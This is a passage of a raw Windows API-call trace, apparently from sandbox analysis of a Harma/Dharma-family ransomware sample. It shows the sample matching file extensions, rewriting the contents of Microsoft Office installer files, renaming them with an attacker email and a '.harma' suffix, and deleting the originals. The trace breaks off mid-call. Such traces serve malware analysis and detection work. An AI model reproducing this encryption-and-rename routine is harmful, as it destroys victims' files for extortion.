[0041.030] CloseHandle (hObject=0x170) returned 1 [0046.627] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0046.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0046.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0046.627] lstrlenW (lpString=".doc") returned 4 [0046.627] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.627] lstrlenW (lpString=".docx") returned 5 [0046.627] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.627] lstrlenW (lpString=".pdf") returned 4 [0046.627] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.627] lstrlenW (lpString=".xls") returned 4 [0046.627] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.627] lstrlenW (lpString=".xlsx") returned 5 [0046.627] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.627] lstrlenW (lpString=".ppt") returned 4 [0046.627] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0046.627] lstrlenW (lpString=".zip") returned 4 [0046.627] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.627] lstrlenW (lpString=".rar") returned 4 [0046.627] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.627] lstrlenW (lpString=".bz2") returned 4 [0046.627] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.627] lstrlenW (lpString=".7z") returned 3 [0046.627] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0046.628] lstrlenW (lpString=".dbf") returned 4 [0046.628] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0046.628] lstrlenW (lpString=".1cd") returned 4 [0046.628] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0046.628] lstrlenW (lpString=".jpg") returned 4 [0046.628] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0046.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0046.628] lstrlenW (lpString=".doc") returned 4 [0046.628] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.628] lstrlenW (lpString=".docx") returned 5 [0046.628] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.628] lstrlenW (lpString=".pdf") returned 4 [0046.628] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.628] lstrlenW (lpString=".xls") returned 4 [0046.628] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.628] lstrlenW (lpString=".xlsx") returned 5 [0046.628] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.628] lstrlenW (lpString=".ppt") returned 4 [0046.628] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0046.628] lstrlenW (lpString=".zip") returned 4 [0046.628] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.628] lstrlenW (lpString=".rar") returned 4 [0046.628] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.628] lstrlenW (lpString=".bz2") returned 4 [0046.628] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.628] lstrlenW (lpString=".7z") returned 3 [0046.628] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0046.629] lstrlenW (lpString=".dbf") returned 4 [0046.629] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0046.629] lstrlenW (lpString=".1cd") returned 4 [0046.629] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0046.629] lstrlenW (lpString=".jpg") returned 4 [0046.629] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.629] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0046.629] lstrlenW (lpString="WordLR.cab") returned 10 [0046.629] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.629] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=43806141) returned 1 [0046.629] CloseHandle (hObject=0x170) returned 1 [0046.629] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0046.630] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0046.630] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0046.630] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0046.630] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0x0) returned 1 [0046.630] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0046.630] ReadFile (in: hFile=0x170, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.769] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0046.769] ReadFile (in: hFile=0x170, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.774] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.774] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0046.774] ReadFile (in: hFile=0x170, lpBuffer=0x3e40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e40058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.793] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.794] WriteFile (in: hFile=0x170, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x35ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0046.810] SetEndOfFile (hFile=0x170) returned 1 [0046.810] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f99e38 [0046.954] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0046.954] WriteFile (in: hFile=0x170, lpBuffer=0x3f99e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f99e38*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.955] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0046.955] WriteFile (in: hFile=0x170, lpBuffer=0x3f99e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f99e38*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.957] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0046.957] WriteFile (in: hFile=0x170, lpBuffer=0x3f99e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f99e38*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.959] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f99e38 | out: hHeap=0x5a0000) returned 1 [0046.960] CloseHandle (hObject=0x170) returned 1 [0049.503] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0049.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0049.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0049.504] lstrlenW (lpString=".doc") returned 4 [0049.504] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.504] lstrlenW (lpString=".docx") returned 5 [0049.504] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0049.504] lstrlenW (lpString=".pdf") returned 4 [0049.504] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.504] lstrlenW (lpString=".xls") returned 4 [0049.504] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.504] lstrlenW (lpString=".xlsx") returned 5 [0049.504] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0049.504] lstrlenW (lpString=".ppt") returned 4 [0049.504] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0049.504] lstrlenW (lpString=".zip") returned 4 [0049.504] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.504] lstrlenW (lpString=".rar") returned 4 [0049.504] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.504] lstrlenW (lpString=".bz2") returned 4 [0049.504] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.504] lstrlenW (lpString=".7z") returned 3 [0049.504] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0049.505] lstrlenW (lpString=".dbf") returned 4 [0049.505] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0049.505] lstrlenW (lpString=".1cd") returned 4 [0049.505] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0049.505] lstrlenW (lpString=".jpg") returned 4 [0049.505] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0049.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0049.505] lstrlenW (lpString=".doc") returned 4 [0049.505] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.505] lstrlenW (lpString=".docx") returned 5 [0049.505] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0049.505] lstrlenW (lpString=".pdf") returned 4 [0049.505] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.505] lstrlenW (lpString=".xls") returned 4 [0049.505] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.505] lstrlenW (lpString=".xlsx") returned 5 [0049.505] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0049.505] lstrlenW (lpString=".ppt") returned 4 [0049.505] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0049.505] lstrlenW (lpString=".zip") returned 4 [0049.506] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.506] lstrlenW (lpString=".rar") returned 4 [0049.506] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.506] lstrlenW (lpString=".bz2") returned 4 [0049.506] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.506] lstrlenW (lpString=".7z") returned 3 [0049.506] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0049.506] lstrlenW (lpString=".dbf") returned 4 [0049.506] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0049.506] lstrlenW (lpString=".1cd") returned 4 [0049.506] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0049.506] lstrlenW (lpString=".jpg") returned 4 [0049.506] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.506] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0049.506] lstrlenW (lpString="Proof.msi") returned 9 [0049.506] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0049.507] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=885760) returned 1 [0049.507] CloseHandle (hObject=0x170) returned 1 [0049.507] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0049.507] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.507] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0049.507] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.507] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.507] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.507] GetLastError () returned 0x0 [0049.507] ReadFile (in: hFile=0x170, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0xd8400, lpOverlapped=0x0) returned 1 [0049.546] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0049.986] ReadFile (in: hFile=0x170, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x0, lpOverlapped=0x0) returned 1 [0049.986] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.986] SetEndOfFile (hFile=0x1f8) returned 1 [0049.986] CloseHandle (hObject=0x1f8) returned 1 [0050.142] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.142] SetEndOfFile (hFile=0x170) returned 1 [0050.190] CloseHandle (hObject=0x170) returned 1 [0050.190] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0050.190] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0050.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.191] lstrlenW (lpString=".doc") returned 4 [0050.191] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.191] lstrlenW (lpString=".docx") returned 5 [0050.191] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0050.191] lstrlenW (lpString=".pdf") returned 4 [0050.191] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.191] lstrlenW (lpString=".xls") returned 4 [0050.191] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.191] lstrlenW (lpString=".xlsx") returned 5 [0050.191] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0050.191] lstrlenW (lpString=".ppt") returned 4 [0050.191] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.191] lstrlenW (lpString=".zip") returned 4 [0050.191] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.191] lstrlenW (lpString=".rar") returned 4 [0050.191] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.191] lstrlenW (lpString=".bz2") returned 4 [0050.191] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.191] lstrlenW (lpString=".7z") returned 3 [0050.191] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.191] lstrlenW (lpString=".dbf") returned 4 [0050.191] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.191] lstrlenW (lpString=".1cd") returned 4 [0050.192] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.192] lstrlenW (lpString=".jpg") returned 4 [0050.192] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.192] lstrlenW (lpString=".doc") returned 4 [0050.192] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.192] lstrlenW (lpString=".docx") returned 5 [0050.192] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0050.192] lstrlenW (lpString=".pdf") returned 4 [0050.192] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.192] lstrlenW (lpString=".xls") returned 4 [0050.192] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.192] lstrlenW (lpString=".xlsx") returned 5 [0050.192] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0050.192] lstrlenW (lpString=".ppt") returned 4 [0050.192] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.192] lstrlenW (lpString=".zip") returned 4 [0050.192] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.192] lstrlenW (lpString=".rar") returned 4 [0050.192] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.192] lstrlenW (lpString=".bz2") returned 4 [0050.192] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.192] lstrlenW (lpString=".7z") returned 3 [0050.193] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.193] lstrlenW (lpString=".dbf") returned 4 [0050.193] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.193] lstrlenW (lpString=".1cd") returned 4 [0050.193] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.193] lstrlenW (lpString=".jpg") returned 4 [0050.193] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.193] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0050.193] lstrlenW (lpString="Proofing.msi") returned 12 [0050.193] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.193] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=868864) returned 1 [0050.194] CloseHandle (hObject=0x170) returned 1 [0050.194] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0050.194] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.194] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.194] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) 